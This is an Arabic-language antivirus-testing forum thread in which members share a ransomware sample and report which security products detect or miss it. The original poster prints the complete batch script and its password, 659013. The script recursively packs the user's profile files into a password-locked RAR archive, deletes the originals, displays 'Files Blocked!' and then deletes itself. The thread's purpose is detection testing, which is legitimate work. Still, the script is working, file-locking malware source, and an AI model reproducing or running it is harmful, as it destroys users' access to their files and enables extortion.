Ransomware : Batch FileLocker

[White Man]

الســـــــلام عليكـــــم ورحمـــة الله
2 رانسُموير بتاريخ أمس 23-10


[hide]

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

infected

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

[/hide]


العينة تقوم بتشفير الملفات الخاصة بك وغلقها بكلمة سر { عملية إبتزاز } لذا يجب لمن يود التشغيل التجربة على نظام وهمى او بعد تجميد النظام​

 

[أبو رمش]

و عليكم السلام و رحمة الله ..
البتد فيندر ...

 

[qysr]

افاست 2015

لم يكتشفه بالفحص

لكن بالتشغيل صده الهارديند مود

 

[أبو رمش]

الهارديند يصد اي برنامج !

 

[qysr]

الهارديند يصد اي برنامج !

بنحاول نجرب كل الاعدادات

 

[محمد احمد شحاته ابراهيم]

بمجرد فك الضغطf-secure internet security2015

 

[nasa3]

ESET Smart Security7

 

[مصرى ولى الفخر]

الكاسبر
فك الضغط والتشغيل

بس الغريبة مافيش اى حاجة حصلت ...يمكن عشان انا مغير شوية اعدادت فى الكاسبر...بس لم يكتشفة بوحدة app control او sys. watcher وبطعا ولا وحدة الانتى فيروس

 

[White Man]

كلمة المرور التى يتم تعيينها 659013



[hide]@echo off
set filename="LOCK.rar"
set commentsfile=info.txt
set pass="659013"
set comment="Files Blocked!"
msg * %comment%
"%PROGRAMFILES%\WinRAR\Rar.exe" a -r -y -ri15 -df -m0 -inul -p%pass% %filename%
"%USERPROFILE%\*"
echo %comment% >> %commentsfile%
"%PROGRAMFILES%\WinRAR\Rar.exe" c %filename% -z%commentsfile%
del %0
[/hide]

^
من خلال الملف الدفعى bat { كليك يمين >> تعديل }
يقوم بتحويل الملفات الى ملف مضغوط بصيغة Rar وغلق الملف المضغوط بكلمة سر 659013 وعند نجاح العملية يظهر رسالة بأن الملف تم غلقه Files Blocked

 

[مصرى ولى الفخر]

الكاسبر لحد دلوقتى

 

[كمال احمد]

كاسبر kis2015

لم يكتشف شيئا في الفحص

ولم يكتشف شيئا في التشغيل

ولانني اجرب عالحقيقي قمت بحذف الملف الدفعي وشغلت

والنتيجة البرنامج حول نفسه الى ملف مضغوط ومحمي بكلمة سر

ومعه ملف نصي يقول : Files Blocked

الظاهر ان kis2015 ليس في احسن احواله


>>>>> يفكر في التحول الى ksos 2015

 

[مصرى ولى الفخر]

كاسبر kis2015

لم يكتشف شيئا في الفحص

ولم يكتشف شيئا في التشغيل

ولانني اجرب عالحقيقي قمت بحذف الملف الدفعي وشغلت

والنتيجة البرنامج حول نفسه الى ملف مضغوط ومحمي بكلمة سر

ومعه ملف نصي يقول : Files Blocked

الظاهر ان kis2015 ليس في احسن احواله


>>>>> يفكر في التحول الى ksos 2015

نفس اللى حصل معايا
بس الغريب ان ماحصلش اى حاجة للملفات الموجودة على الهارد
ومحرك الكاسبر نايم فى العسل

 

[كمال احمد]

نفس اللى حصل معايا
بس الغريب ان ماحصلش اى حاجة للملفات الموجودة على الهارد
ومحرك الكاسبر نايم فى العسل

حتى الانتي مالوار بايت لم يتحرك

 

[أبو رمش]

الأفاست ...

متبقي ..

 

[كمال احمد]

الأفاست ...

متبقي ..

لا تكون تخليت عن البتدفندر وتحولت الى الافاست ؟؟؟


جاري تبليغ الشركة الرومانية

 

[أبو رمش]

ههههههههههههههههه ؛؛؛؛؛؛؛؛؛؛
لا صعبة أتخلى عن البتد فيندر و الأفاست موجود على الجهاز الثاني ....

 

[nasa3]

ESET Smart Security The first Forever

 

[ABDELHAK AS]

...بمجرد الفحص...